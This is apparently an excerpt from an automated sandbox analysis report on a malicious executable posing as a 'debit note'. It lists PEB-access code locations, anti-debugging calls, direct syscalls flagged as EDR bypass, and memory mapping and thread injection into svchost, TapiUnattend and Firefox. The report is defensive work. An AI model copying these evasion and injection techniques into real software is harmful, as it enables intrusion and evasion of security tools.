            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C38BF0 mov eax, dword ptr fs:[00000030h]1_2_03C38BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C38BF0 mov eax, dword ptr fs:[00000030h]1_2_03C38BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C38BF0 mov eax, dword ptr fs:[00000030h]1_2_03C38BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5EBFC mov eax, dword ptr fs:[00000030h]1_2_03C5EBFC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBCBF0 mov eax, dword ptr fs:[00000030h]1_2_03CBCBF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40BBE mov eax, dword ptr fs:[00000030h]1_2_03C40BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40BBE mov eax, dword ptr fs:[00000030h]1_2_03C40BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE4BB0 mov eax, dword ptr fs:[00000030h]1_2_03CE4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE4BB0 mov eax, dword ptr fs:[00000030h]1_2_03CE4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE4B4B mov eax, dword ptr fs:[00000030h]1_2_03CE4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CE4B4B mov eax, dword ptr fs:[00000030h]1_2_03CE4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D02B57 mov eax, dword ptr fs:[00000030h]1_2_03D02B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D02B57 mov eax, dword ptr fs:[00000030h]1_2_03D02B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D02B57 mov eax, dword ptr fs:[00000030h]1_2_03D02B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D02B57 mov eax, dword ptr fs:[00000030h]1_2_03D02B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC6B40 mov eax, dword ptr fs:[00000030h]1_2_03CC6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC6B40 mov eax, dword ptr fs:[00000030h]1_2_03CC6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFAB40 mov eax, dword ptr fs:[00000030h]1_2_03CFAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD8B42 mov eax, dword ptr fs:[00000030h]1_2_03CD8B42
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C28B50 mov eax, dword ptr fs:[00000030h]1_2_03C28B50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDEB50 mov eax, dword ptr fs:[00000030h]1_2_03CDEB50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C2CB7E mov eax, dword ptr fs:[00000030h]1_2_03C2CB7E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04B00 mov eax, dword ptr fs:[00000030h]1_2_03D04B00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]1_2_03CAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]1_2_03CAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]1_2_03CAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]1_2_03CAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]1_2_03CAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]1_2_03CAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]1_2_03CAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]1_2_03CAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]1_2_03CAEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5EB20 mov eax, dword ptr fs:[00000030h]1_2_03C5EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5EB20 mov eax, dword ptr fs:[00000030h]1_2_03C5EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF8B28 mov eax, dword ptr fs:[00000030h]1_2_03CF8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CF8B28 mov eax, dword ptr fs:[00000030h]1_2_03CF8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C86ACC mov eax, dword ptr fs:[00000030h]1_2_03C86ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C86ACC mov eax, dword ptr fs:[00000030h]1_2_03C86ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C86ACC mov eax, dword ptr fs:[00000030h]1_2_03C86ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C30AD0 mov eax, dword ptr fs:[00000030h]1_2_03C30AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C64AD0 mov eax, dword ptr fs:[00000030h]1_2_03C64AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C64AD0 mov eax, dword ptr fs:[00000030h]1_2_03C64AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6AAEE mov eax, dword ptr fs:[00000030h]1_2_03C6AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6AAEE mov eax, dword ptr fs:[00000030h]1_2_03C6AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]1_2_03C3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]1_2_03C3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]1_2_03C3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]1_2_03C3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]1_2_03C3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]1_2_03C3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]1_2_03C3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]1_2_03C3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]1_2_03C3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04A80 mov eax, dword ptr fs:[00000030h]1_2_03D04A80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C68A90 mov edx, dword ptr fs:[00000030h]1_2_03C68A90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C38AA0 mov eax, dword ptr fs:[00000030h]1_2_03C38AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C38AA0 mov eax, dword ptr fs:[00000030h]1_2_03C38AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C86AA4 mov eax, dword ptr fs:[00000030h]1_2_03C86AA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]1_2_03C36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]1_2_03C36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]1_2_03C36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]1_2_03C36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]1_2_03C36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]1_2_03C36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]1_2_03C36A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40A5B mov eax, dword ptr fs:[00000030h]1_2_03C40A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C40A5B mov eax, dword ptr fs:[00000030h]1_2_03C40A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6CA6F mov eax, dword ptr fs:[00000030h]1_2_03C6CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6CA6F mov eax, dword ptr fs:[00000030h]1_2_03C6CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6CA6F mov eax, dword ptr fs:[00000030h]1_2_03C6CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CDEA60 mov eax, dword ptr fs:[00000030h]1_2_03CDEA60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CACA72 mov eax, dword ptr fs:[00000030h]1_2_03CACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CACA72 mov eax, dword ptr fs:[00000030h]1_2_03CACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBCA11 mov eax, dword ptr fs:[00000030h]1_2_03CBCA11
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6CA24 mov eax, dword ptr fs:[00000030h]1_2_03C6CA24
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5EA2E mov eax, dword ptr fs:[00000030h]1_2_03C5EA2E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C54A35 mov eax, dword ptr fs:[00000030h]1_2_03C54A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C54A35 mov eax, dword ptr fs:[00000030h]1_2_03C54A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC69C0 mov eax, dword ptr fs:[00000030h]1_2_03CC69C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]1_2_03C3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]1_2_03C3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]1_2_03C3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]1_2_03C3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]1_2_03C3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]1_2_03C3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C649D0 mov eax, dword ptr fs:[00000030h]1_2_03C649D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFA9D3 mov eax, dword ptr fs:[00000030h]1_2_03CFA9D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBE9E0 mov eax, dword ptr fs:[00000030h]1_2_03CBE9E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C629F9 mov eax, dword ptr fs:[00000030h]1_2_03C629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C629F9 mov eax, dword ptr fs:[00000030h]1_2_03C629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]1_2_03C429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C309AD mov eax, dword ptr fs:[00000030h]1_2_03C309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C309AD mov eax, dword ptr fs:[00000030h]1_2_03C309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB89B3 mov esi, dword ptr fs:[00000030h]1_2_03CB89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB89B3 mov eax, dword ptr fs:[00000030h]1_2_03CB89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB89B3 mov eax, dword ptr fs:[00000030h]1_2_03CB89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB0946 mov eax, dword ptr fs:[00000030h]1_2_03CB0946
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D04940 mov eax, dword ptr fs:[00000030h]1_2_03D04940
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C56962 mov eax, dword ptr fs:[00000030h]1_2_03C56962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C56962 mov eax, dword ptr fs:[00000030h]1_2_03C56962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C56962 mov eax, dword ptr fs:[00000030h]1_2_03C56962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C7096E mov eax, dword ptr fs:[00000030h]1_2_03C7096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C7096E mov edx, dword ptr fs:[00000030h]1_2_03C7096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C7096E mov eax, dword ptr fs:[00000030h]1_2_03C7096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD4978 mov eax, dword ptr fs:[00000030h]1_2_03CD4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CD4978 mov eax, dword ptr fs:[00000030h]1_2_03CD4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBC97C mov eax, dword ptr fs:[00000030h]1_2_03CBC97C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE908 mov eax, dword ptr fs:[00000030h]1_2_03CAE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CAE908 mov eax, dword ptr fs:[00000030h]1_2_03CAE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBC912 mov eax, dword ptr fs:[00000030h]1_2_03CBC912
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C28918 mov eax, dword ptr fs:[00000030h]1_2_03C28918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C28918 mov eax, dword ptr fs:[00000030h]1_2_03C28918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CB892A mov eax, dword ptr fs:[00000030h]1_2_03CB892A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CC892B mov eax, dword ptr fs:[00000030h]1_2_03CC892B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C5E8C0 mov eax, dword ptr fs:[00000030h]1_2_03C5E8C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03D008C0 mov eax, dword ptr fs:[00000030h]1_2_03D008C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CFA8E4 mov eax, dword ptr fs:[00000030h]1_2_03CFA8E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6C8F9 mov eax, dword ptr fs:[00000030h]1_2_03C6C8F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C6C8F9 mov eax, dword ptr fs:[00000030h]1_2_03C6C8F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C30887 mov eax, dword ptr fs:[00000030h]1_2_03C30887
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBC89D mov eax, dword ptr fs:[00000030h]1_2_03CBC89D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C42840 mov ecx, dword ptr fs:[00000030h]1_2_03C42840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C60854 mov eax, dword ptr fs:[00000030h]1_2_03C60854
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C34859 mov eax, dword ptr fs:[00000030h]1_2_03C34859
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03C34859 mov eax, dword ptr fs:[00000030h]1_2_03C34859
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBE872 mov eax, dword ptr fs:[00000030h]1_2_03CBE872
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03CBE872 mov eax, dword ptr fs:[00000030h]1_2_03CBE872
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_004238DA __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_004238DA
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0041F250 SetUnhandledExceptionFilter,0_2_0041F250
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0041A208
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeCode function: 0_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00417DAA

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtWriteVirtualMemory: Direct from: 0x76F0490CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtAllocateVirtualMemory: Direct from: 0x76F03C9CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtClose: Direct from: 0x76F02B6C
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtReadVirtualMemory: Direct from: 0x76F02E8CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtCreateKey: Direct from: 0x76F02C6CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtSetInformationThread: Direct from: 0x76F02B4CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtQueryAttributesFile: Direct from: 0x76F02E6CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtAllocateVirtualMemory: Direct from: 0x76F048ECJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtQuerySystemInformation: Direct from: 0x76F048CCJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtQueryVolumeInformationFile: Direct from: 0x76F02F2CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtOpenSection: Direct from: 0x76F02E0CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtSetInformationThread: Direct from: 0x76EF63F9Jump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtDeviceIoControlFile: Direct from: 0x76F02AECJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtAllocateVirtualMemory: Direct from: 0x76F02BECJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtCreateFile: Direct from: 0x76F02FECJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtOpenFile: Direct from: 0x76F02DCCJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtQueryInformationToken: Direct from: 0x76F02CACJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtTerminateThread: Direct from: 0x76F02FCCJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtProtectVirtualMemory: Direct from: 0x76EF7B2EJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtOpenKeyEx: Direct from: 0x76F02B9CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtProtectVirtualMemory: Direct from: 0x76F02F9CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtSetInformationProcess: Direct from: 0x76F02C5CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtNotifyChangeKey: Direct from: 0x76F03C2CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtCreateMutant: Direct from: 0x76F035CCJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtWriteVirtualMemory: Direct from: 0x76F02E3CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtMapViewOfSection: Direct from: 0x76F02D1CJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtResumeThread: Direct from: 0x76F036ACJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtAllocateVirtualMemory: Direct from: 0x76F02BFCJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtReadFile: Direct from: 0x76F02ADCJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtQuerySystemInformation: Direct from: 0x76F02DFCJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtDelayExecution: Direct from: 0x76F02DDCJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtQueryInformationProcess: Direct from: 0x76F02C26Jump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtResumeThread: Direct from: 0x76F02FBCJump to behavior
            Source: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exeNtCreateUserProcess: Direct from: 0x76F0371CJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\TapiUnattend.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: NULL target: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: NULL target: C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\TapiUnattend.exeThread register set: target process: 5700Jump to behavior
            Queues an APC in another process (thread injection)
